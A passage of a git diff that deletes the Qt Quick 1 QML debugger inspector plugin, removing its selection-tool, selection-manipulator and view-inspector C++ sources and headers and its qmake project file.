*event); - void mouseMoveEvent(QMouseEvent *event); - void mouseReleaseEvent(QMouseEvent *event); - void mouseDoubleClickEvent(QMouseEvent *) {} - void hoverMoveEvent(QMouseEvent *event); - void keyPressEvent(QKeyEvent *event); - void keyReleaseEvent(QKeyEvent *) {} - void wheelEvent(QWheelEvent *event); - - void itemsAboutToRemoved(const QList &) {} -// QVariant itemChange(const QList &itemList, -// QGraphicsItem::GraphicsItemChange change, -// const QVariant &value ); - -// void update(); - - void clear(); - - void selectedItemsChanged(const QList &itemList); - - void selectUnderPoint(QMouseEvent *event); - - void setSelectOnlyContentItems(bool selectOnlyContentItems); - - void setRubberbandSelectionMode(bool value); - -private slots: - void contextMenuElementSelected(); - void contextMenuElementHovered(QAction *action); - void repaintBoundingRects(); - -private: - void createContextMenu(const QList &itemList, QPoint globalPos); - LiveSingleSelectionManipulator::SelectionType getSelectionType(Qt::KeyboardModifiers modifiers); - bool alreadySelected(const QList &itemList) const; - -private: - bool m_rubberbandSelectionMode; - LiveRubberBandSelectionManipulator m_rubberbandSelectionManipulator; - LiveSingleSelectionManipulator m_singleSelectionManipulator; - LiveSelectionIndicator m_selectionIndicator; - //ResizeIndicator m_resizeIndicator; - QTime m_mousePressTimer; - bool m_selectOnlyContentItems; - - QList > m_selectedItemList; - - QList m_contextMenuItemList; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // LIVESELECTIONTOOL_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/livesingleselectionmanipulator.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/livesingleselectionmanipulator.cpp deleted file mode 100644 index d58ab4e0dc..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/livesingleselectionmanipulator.cpp +++ /dev/null @@ -1,153 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "livesingleselectionmanipulator.h" - -#include "qdeclarativeviewinspector_p.h" - -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -LiveSingleSelectionManipulator::LiveSingleSelectionManipulator(QDeclarativeViewInspector *editorView) - : m_editorView(editorView), - m_isActive(false) -{ -} - - -void LiveSingleSelectionManipulator::begin(const QPointF &beginPoint) -{ - m_beginPoint = beginPoint; - m_isActive = true; - m_oldSelectionList = QDeclarativeViewInspectorPrivate::get(m_editorView)->selectedItems(); -} - -void LiveSingleSelectionManipulator::update(const QPointF &/*updatePoint*/) -{ - m_oldSelectionList.clear(); -} - -void LiveSingleSelectionManipulator::clear() -{ - m_beginPoint = QPointF(); - m_oldSelectionList.clear(); -} - - -void LiveSingleSelectionManipulator::end(const QPointF &/*updatePoint*/) -{ - m_oldSelectionList.clear(); - m_isActive = false; -} - -void LiveSingleSelectionManipulator::select(SelectionType selectionType, - const QList &items, - bool /*selectOnlyContentItems*/) -{ - QGraphicsItem *selectedItem = 0; - - foreach (QGraphicsItem* item, items) - { - //FormEditorItem *formEditorItem = FormEditorItem::fromQGraphicsItem(item); - if (item - /*&& !formEditorItem->qmlItemNode().isRootNode() - && (formEditorItem->qmlItemNode().hasShowContent() || !selectOnlyContentItems)*/) - { - selectedItem = item; - break; - } - } - - QList resultList; - - switch (selectionType) { - case AddToSelection: { - resultList.append(m_oldSelectionList); - if (selectedItem && !m_oldSelectionList.contains(selectedItem)) - resultList.append(selectedItem); - } - break; - case ReplaceSelection: { - if (selectedItem) - resultList.append(selectedItem); - } - break; - case RemoveFromSelection: { - resultList.append(m_oldSelectionList); - if (selectedItem) - resultList.removeAll(selectedItem); - } - break; - case InvertSelection: { - if (selectedItem - && !m_oldSelectionList.contains(selectedItem)) - { - resultList.append(selectedItem); - } - } - } - - m_editorView->setSelectedItems(resultList); -} - -void LiveSingleSelectionManipulator::select(SelectionType selectionType, bool selectOnlyContentItems) -{ - QDeclarativeViewInspectorPrivate *inspectorPrivate = - QDeclarativeViewInspectorPrivate::get(m_editorView); - QList itemList = inspectorPrivate->selectableItems(m_beginPoint); - select(selectionType, itemList, selectOnlyContentItems); -} - - -bool LiveSingleSelectionManipulator::isActive() const -{ - return m_isActive; -} - -QPointF LiveSingleSelectionManipulator::beginPoint() const -{ - return m_beginPoint; -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/livesingleselectionmanipulator.h b/src/plugins/qmltooling/qmldbg_qtquick1/livesingleselectionmanipulator.h deleted file mode 100644 index a9aa65593d..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/livesingleselectionmanipulator.h +++ /dev/null @@ -1,91 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef LIVESINGLESELECTIONMANIPULATOR_H -#define LIVESINGLESELECTIONMANIPULATOR_H - -#include -#include - -QT_FORWARD_DECLARE_CLASS(QGraphicsItem) - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class QDeclarativeViewInspector; - -class LiveSingleSelectionManipulator -{ -public: - LiveSingleSelectionManipulator(QDeclarativeViewInspector *editorView); - - enum SelectionType { - ReplaceSelection, - AddToSelection, - RemoveFromSelection, - InvertSelection - }; - - void begin(const QPointF& beginPoint); - void update(const QPointF& updatePoint); - void end(const QPointF& updatePoint); - - void select(SelectionType selectionType, const QList &items, - bool selectOnlyContentItems); - void select(SelectionType selectionType, bool selectOnlyContentItems); - - void clear(); - - QPointF beginPoint() const; - - bool isActive() const; - -private: - QList m_oldSelectionList; - QPointF m_beginPoint; - QDeclarativeViewInspector *m_editorView; - bool m_isActive; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // LIVESINGLESELECTIONMANIPULATOR_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector.cpp deleted file mode 100644 index 3f2506cf03..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector.cpp +++ /dev/null @@ -1,447 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qdeclarativeviewinspector.h" -#include "qdeclarativeviewinspector_p.h" - -#include "liveselectiontool.h" -#include "zoomtool.h" -#include "colorpickertool.h" -#include "livelayeritem.h" -#include "boundingrecthighlighter.h" - -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -QDeclarativeViewInspectorPrivate::QDeclarativeViewInspectorPrivate(QDeclarativeViewInspector *q) : - q(q) -{ -} - -QDeclarativeViewInspectorPrivate::~QDeclarativeViewInspectorPrivate() -{ -} - -QDeclarativeViewInspector::QDeclarativeViewInspector(QDeclarativeView *view, - QObject *parent) : - AbstractViewInspector(parent), - data(new QDeclarativeViewInspectorPrivate(this)) -{ - data->view = view; - data->manipulatorLayer = new LiveLayerItem(view->scene()); - data->selectionTool = new LiveSelectionTool(this); - data->zoomTool = new ZoomTool(this); - data->colorPickerTool = new ColorPickerTool(this); - data->boundingRectHighlighter = new BoundingRectHighlighter(this); - setCurrentTool(data->selectionTool); - - // to capture ChildRemoved event when viewport changes - data->view->installEventFilter(this); - - data->setViewport(data->view->viewport()); - - connect(data->view, SIGNAL(statusChanged(QDeclarativeView::Status)), - data.data(), SLOT(_q_onStatusChanged(QDeclarativeView::Status))); - - connect(data->colorPickerTool, SIGNAL(selectedColorChanged(QColor)), - SIGNAL(selectedColorChanged(QColor))); - connect(data->colorPickerTool, SIGNAL(selectedColorChanged(QColor)), - this, SLOT(sendColorChanged(QColor))); - - changeTool(InspectorProtocol::SelectTool); -} - -QDeclarativeViewInspector::~QDeclarativeViewInspector() -{ -} - -void QDeclarativeViewInspector::changeCurrentObjects(const QList &objects) -{ - QList items; - QList gfxObjects; - foreach (QObject *obj, objects) { - if (QDeclarativeItem *declarativeItem = qobject_cast(obj)) { - items << declarativeItem; - gfxObjects << declarativeItem; - } - } - if (designModeBehavior()) { - data->setSelectedItemsForTools(items); - data->clearHighlight(); - data->highlight(gfxObjects); - } -} - -void QDeclarativeViewInspector::reloadView() -{ - data->clearHighlight(); - emit reloadRequested(); -} - -void QDeclarativeViewInspector::changeTool(InspectorProtocol::Tool tool) -{ - switch (tool) { - case InspectorProtocol::ColorPickerTool: - data->changeToColorPickerTool(); - break; - case InspectorProtocol::SelectMarqueeTool: - data->changeToMarqueeSelectTool(); - break; - case InspectorProtocol::SelectTool: - data->changeToSingleSelectTool(); - break; - case InspectorProtocol::ZoomTool: - data->changeToZoomTool(); - break; - } -} - -Qt::WindowFlags QDeclarativeViewInspector::windowFlags() const -{ - return declarativeView()->window()->windowFlags(); -} - -void QDeclarativeViewInspector::setWindowFlags(Qt::WindowFlags flags) -{ - declarativeView()->window()->setWindowFlags(flags); - declarativeView()->window()->show(); -} - -AbstractLiveEditTool *QDeclarativeViewInspector::currentTool() const -{ - return static_cast(AbstractViewInspector::currentTool()); -} - -QDeclarativeEngine *QDeclarativeViewInspector::declarativeEngine() const -{ - return data->view->engine(); -} - -void QDeclarativeViewInspectorPrivate::setViewport(QWidget *widget) -{ - if (viewport.data() == widget) - return; - - if (viewport) - viewport.data()->removeEventFilter(q); - - viewport = widget; - if (viewport) { - // make sure we get mouse move events - viewport.data()->setMouseTracking(true); - viewport.data()->installEventFilter(q); - } -} - -void QDeclarativeViewInspectorPrivate::clearEditorItems() -{ - clearHighlight(); - setSelectedItems(QList()); -} - -bool QDeclarativeViewInspector::eventFilter(QObject *obj, QEvent *event) -{ - if (obj == data->view) { - // Event from view - if (event->type() == QEvent::ChildRemoved) { - // Might mean that viewport has changed - if (data->view->viewport() != data->viewport.data()) - data->setViewport(data->view->viewport()); - } - return QObject::eventFilter(obj, event); - } - - return AbstractViewInspector::eventFilter(obj, event); -} - -bool QDeclarativeViewInspector::leaveEvent(QEvent *event) -{ - data->clearHighlight(); - return AbstractViewInspector::leaveEvent(event); -} - -bool QDeclarativeViewInspector::mouseMoveEvent(QMouseEvent *event) -{ - QList selItems = data->selectableItems(event->pos()); - if (!selItems.isEmpty()) { - declarativeView()->setToolTip(currentTool()->titleForItem(selItems.first())); - } else { - declarativeView()->setToolTip(QString()); - } - - return AbstractViewInspector::mouseMoveEvent(event); -} - -void QDeclarativeViewInspector::reparentQmlObject(QObject *object, QObject *newParent) -{ - if (!newParent) - return; - - object->setParent(newParent); - QDeclarativeItem *newParentItem = qobject_cast(newParent); - QDeclarativeItem *item = qobject_cast(object); - if (newParentItem && item) - item->setParentItem(newParentItem); -} - -void QDeclarativeViewInspectorPrivate::_q_removeFromSelection(QObject *obj) -{ - QList items = selectedItems(); - if (QGraphicsItem *item = qobject_cast(obj)) - items.removeOne(item); - setSelectedItems(items); -} - -void QDeclarativeViewInspectorPrivate::setSelectedItemsForTools(const QList &items) -{ - foreach (const QWeakPointer &obj, currentSelection) { - if (QGraphicsItem *item = obj.data()) { - if (!items.contains(item)) { - QObject::disconnect(obj.data(), SIGNAL(destroyed(QObject*)), - this, SLOT(_q_removeFromSelection(QObject*))); - currentSelection.removeOne(obj); - } - } - } - - foreach (QGraphicsItem *item, items) { - if (QGraphicsObject *obj = item->toGraphicsObject()) { - if (!currentSelection.contains(obj)) { - QObject::connect(obj, SIGNAL(destroyed(QObject*)), - this, SLOT(_q_removeFromSelection(QObject*))); - currentSelection.append(obj); - } - } - } - - q->currentTool()->updateSelectedItems(); -} - -void QDeclarativeViewInspectorPrivate::setSelectedItems(const QList &items) -{ - QList > oldList = currentSelection; - setSelectedItemsForTools(items); - if (oldList != currentSelection) { - QList objectList; - foreach (const QWeakPointer &graphicsObject, currentSelection) { - if (graphicsObject) - objectList << graphicsObject.data(); - } - - q->sendCurrentObjects(objectList); - } -} - -QList QDeclarativeViewInspectorPrivate::selectedItems() const -{ - QList selection; - foreach (const QWeakPointer &selectedObject, currentSelection) { - if (selectedObject.data()) - selection << selectedObject.data(); - } - - return selection; -} - -void QDeclarativeViewInspector::setSelectedItems(QList items) -{ - data->setSelectedItems(items); -} - -QList QDeclarativeViewInspector::selectedItems() const -{ - return data->selectedItems(); -} - -QDeclarativeView *QDeclarativeViewInspector::declarativeView() const -{ - return data->view; -} - -void QDeclarativeViewInspectorPrivate::clearHighlight() -{ - boundingRectHighlighter->clear(); -} - -void QDeclarativeViewInspectorPrivate::highlight(const QList &items) -{ - if (items.isEmpty()) - return; - - QList objectList; - foreach (QGraphicsItem *item, items) { - QGraphicsItem *child = item; - - if (child) { - QGraphicsObject *childObject = child->toGraphicsObject(); - if (childObject) - objectList << childObject; - } - } - - boundingRectHighlighter->highlight(objectList); -} - -QList QDeclarativeViewInspectorPrivate::selectableItems( - const QPointF &scenePos) const -{ - QList itemlist = view->scene()->items(scenePos); - return filterForSelection(itemlist); -} - -QList QDeclarativeViewInspectorPrivate::selectableItems(const QPoint &pos) const -{ - QList itemlist = view->items(pos); - return filterForSelection(itemlist); -} - -QList QDeclarativeViewInspectorPrivate::selectableItems( - const QRectF &sceneRect, Qt::ItemSelectionMode selectionMode) const -{ - QList itemlist = view->scene()->items(sceneRect, selectionMode); - return filterForSelection(itemlist); -} - -void QDeclarativeViewInspectorPrivate::changeToSingleSelectTool() -{ - selectionTool->setRubberbandSelectionMode(false); - - changeToSelectTool(); - - emit q->selectToolActivated(); - q->sendCurrentTool(Constants::SelectionToolMode); -} - -void QDeclarativeViewInspectorPrivate::changeToSelectTool() -{ - if (q->currentTool() == selectionTool) - return; - - q->currentTool()->clear(); - q->setCurrentTool(selectionTool); - q->currentTool()->clear(); - q->currentTool()->updateSelectedItems(); -} - -void QDeclarativeViewInspectorPrivate::changeToMarqueeSelectTool() -{ - changeToSelectTool(); - selectionTool->setRubberbandSelectionMode(true); - - emit q->marqueeSelectToolActivated(); - q->sendCurrentTool(Constants::MarqueeSelectionToolMode); -} - -void QDeclarativeViewInspectorPrivate::changeToZoomTool() -{ - q->currentTool()->clear(); - q->setCurrentTool(zoomTool); - q->currentTool()->clear(); - - emit q->zoomToolActivated(); - q->sendCurrentTool(Constants::ZoomMode); -} - -void QDeclarativeViewInspectorPrivate::changeToColorPickerTool() -{ - if (q->currentTool() == colorPickerTool) - return; - - q->currentTool()->clear(); - q->setCurrentTool(colorPickerTool); - q->currentTool()->clear(); - - emit q->colorPickerActivated(); - q->sendCurrentTool(Constants::ColorPickerMode); -} - - -static bool isEditorItem(QGraphicsItem *item) -{ - return (item->type() == Constants::EditorItemType - || item->type() == Constants::ResizeHandleItemType - || item->data(Constants::EditorItemDataKey).toBool()); -} - -QList QDeclarativeViewInspectorPrivate::filterForSelection( - QList &itemlist) const -{ - foreach (QGraphicsItem *item, itemlist) { - if (isEditorItem(item)) - itemlist.removeOne(item); - } - - return itemlist; -} - -void QDeclarativeViewInspectorPrivate::_q_onStatusChanged(QDeclarativeView::Status status) -{ - if (status == QDeclarativeView::Ready) - q->sendReloaded(); -} - -// adjusts bounding boxes on edges of screen to be visible -QRectF QDeclarativeViewInspector::adjustToScreenBoundaries(const QRectF &boundingRectInSceneSpace) -{ - int marginFromEdge = 1; - QRectF boundingRect(boundingRectInSceneSpace); - if (qAbs(boundingRect.left()) - 1 < 2) - boundingRect.setLeft(marginFromEdge); - - QRect rect = data->view->rect(); - - if (boundingRect.right() >= rect.right()) - boundingRect.setRight(rect.right() - marginFromEdge); - - if (qAbs(boundingRect.top()) - 1 < 2) - boundingRect.setTop(marginFromEdge); - - if (boundingRect.bottom() >= rect.bottom()) - boundingRect.setBottom(rect.bottom() - marginFromEdge); - - return boundingRect; -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector.h b/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector.h deleted file mode 100644 index ebaf840b91..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector.h +++ /dev/null @@ -1,102 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEVIEWINSPECTOR_H -#define QDECLARATIVEVIEWINSPECTOR_H - -#include - -#include "abstractviewinspector.h" - -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class AbstractLiveEditTool; -class QDeclarativeViewInspectorPrivate; - -class QDeclarativeViewInspector : public AbstractViewInspector -{ - Q_OBJECT - -public: - explicit QDeclarativeViewInspector(QDeclarativeView *view, QObject *parent = 0); - ~QDeclarativeViewInspector(); - - // AbstractViewInspector - void changeCurrentObjects(const QList &objects); - void reloadView(); - void reparentQmlObject(QObject *object, QObject *newParent); - void changeTool(InspectorProtocol::Tool tool); - Qt::WindowFlags windowFlags() const; - void setWindowFlags(Qt::WindowFlags flags); - QDeclarativeEngine *declarativeEngine() const; - - void setSelectedItems(QList items); - QList selectedItems() const; - - QDeclarativeView *declarativeView() const; - - QRectF adjustToScreenBoundaries(const QRectF &boundingRectInSceneSpace); - -protected: - bool eventFilter(QObject *obj, QEvent *event); - - bool leaveEvent(QEvent *); - bool mouseMoveEvent(QMouseEvent *event); - - AbstractLiveEditTool *currentTool() const; - -private: - Q_DISABLE_COPY(QDeclarativeViewInspector) - - inline QDeclarativeViewInspectorPrivate *d_func() { return data.data(); } - QScopedPointer data; - friend class QDeclarativeViewInspectorPrivate; - friend class AbstractLiveEditTool; -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // QDECLARATIVEVIEWINSPECTOR_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector_p.h b/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector_p.h deleted file mode 100644 index 4f5c850354..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/qdeclarativeviewinspector_p.h +++ /dev/null @@ -1,121 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEVIEWINSPECTOR_P_H -#define QDECLARATIVEVIEWINSPECTOR_P_H - -#include "qdeclarativeviewinspector.h" - -#include -#include -#include -#include - -#include "QtDeclarative/private/qdeclarativeinspectorservice_p.h" - -namespace QmlJSDebugger { -namespace QtQuick1 { - -class QDeclarativeViewInspector; -class LiveSelectionTool; -class ZoomTool; -class ColorPickerTool; -class LiveLayerItem; -class BoundingRectHighlighter; -class AbstractLiveEditTool; - -class QDeclarativeViewInspectorPrivate : public QObject -{ - Q_OBJECT -public: - QDeclarativeViewInspectorPrivate(QDeclarativeViewInspector *); - ~QDeclarativeViewInspectorPrivate(); - - QDeclarativeView *view; - QDeclarativeViewInspector *q; - QWeakPointer viewport; - - QList > currentSelection; - - LiveSelectionTool *selectionTool; - ZoomTool *zoomTool; - ColorPickerTool *colorPickerTool; - LiveLayerItem *manipulatorLayer; - - BoundingRectHighlighter *boundingRectHighlighter; - - void setViewport(QWidget *widget); - - void clearEditorItems(); - void changeToSelectTool(); - QList filterForSelection(QList &itemlist) const; - - QList selectableItems(const QPoint &pos) const; - QList selectableItems(const QPointF &scenePos) const; - QList selectableItems(const QRectF &sceneRect, Qt::ItemSelectionMode selectionMode) const; - - void setSelectedItemsForTools(const QList &items); - void setSelectedItems(const QList &items); - QList selectedItems() const; - - void clearHighlight(); - void highlight(const QList &item); - inline void highlight(QGraphicsObject *item) - { highlight(QList() << item); } - - void changeToSingleSelectTool(); - void changeToMarqueeSelectTool(); - void changeToZoomTool(); - void changeToColorPickerTool(); - -public slots: - void _q_onStatusChanged(QDeclarativeView::Status status); - - void _q_removeFromSelection(QObject *); - -public: - static QDeclarativeViewInspectorPrivate *get(QDeclarativeViewInspector *v) { return v->d_func(); } -}; - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -#endif // QDECLARATIVEVIEWINSPECTOR_P_H diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/qmldbg_qtquick1.pro b/src/plugins/qmltooling/qmldbg_qtquick1/qmldbg_qtquick1.pro deleted file mode 100644 index b98f463b5d..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/qmldbg_qtquick1.pro +++ /dev/null @@ -1,50 +0,0 @@ -load(qt_module) - -TARGET = qmldbg_qtquick1 -QT += declarative-private core-private gui-private widgets-private qtquick1 opengl-private - -load(qt_plugin) - -DESTDIR = $$QT.declarative.plugins/qmltooling - -INCLUDEPATH *= $$PWD $$PWD/../shared - -SOURCES += \ - abstractliveedittool.cpp \ - boundingrecthighlighter.cpp \ - colorpickertool.cpp \ - livelayeritem.cpp \ - liverubberbandselectionmanipulator.cpp \ - liveselectionindicator.cpp \ - liveselectionrectangle.cpp \ - liveselectiontool.cpp \ - livesingleselectionmanipulator.cpp \ - qdeclarativeviewinspector.cpp \ - qtquick1plugin.cpp \ - ../shared/abstracttool.cpp \ - ../shared/abstractviewinspector.cpp \ - subcomponentmasklayeritem.cpp \ - zoomtool.cpp - -HEADERS += \ - abstractliveedittool.h \ - boundingrecthighlighter.h \ - colorpickertool.h \ - livelayeritem.h \ - liverubberbandselectionmanipulator.h \ - liveselectionindicator.h \ - liveselectionrectangle.h \ - liveselectiontool.h \ - livesingleselectionmanipulator.h \ - qdeclarativeviewinspector.h \ - qdeclarativeviewinspector_p.h \ - qtquick1plugin.h \ - ../shared/abstracttool.h \ - ../shared/abstractviewinspector.h \ - ../shared/qdeclarativeinspectorprotocol.h \ - ../shared/qmlinspectorconstants.h \ - subcomponentmasklayeritem.h \ - zoomtool.h - -target.path += $$[QT_INSTALL_PLUGINS]/qmltooling -INSTALLS += target diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/qtquick1plugin.cpp b/src/plugins/qmltooling/qmldbg_qtquick1/qtquick1plugin.cpp deleted file mode 100644 index d336d1deae..0000000000 --- a/src/plugins/qmltooling/qmldbg_qtquick1/qtquick1plugin.cpp +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "qtquick1plugin.h" -#include "qdeclarativeviewinspector.h" - -#include -#include -#include - -namespace QmlJSDebugger { -namespace QtQuick1 { - -QtQuick1Plugin::QtQuick1Plugin() : - m_inspector(0) -{ -} - -QtQuick1Plugin::~QtQuick1Plugin() -{ - delete m_inspector; -} - -bool QtQuick1Plugin::canHandleView(QObject *view) -{ - return qobject_cast(view); -} - -void QtQuick1Plugin::activate(QObject *view) -{ - QDeclarativeView *qDeclarativeView = qobject_cast(view); - Q_ASSERT(qDeclarativeView); - m_inspector = new QDeclarativeViewInspector(qDeclarativeView, qDeclarativeView); -} - -void QtQuick1Plugin::deactivate() -{ - delete m_inspector; -} - -void QtQuick1Plugin::clientMessage(const QByteArray &message) -{ - if (m_inspector) - m_inspector->handleMessage(message); -} - -} // namespace QtQuick1 -} // namespace QmlJSDebugger - -Q_EXPORT_PLUGIN2(qmldbg_qtquick1, QmlJSDebugger::QtQuick1::QtQuick1Plugin) diff --git a/src/plugins/qmltooling/qmldbg_qtquick1/qtquick1plugin.h b/src/plugins/qmltooling/qmldbg_qtquick1/qtquick1plugin.h 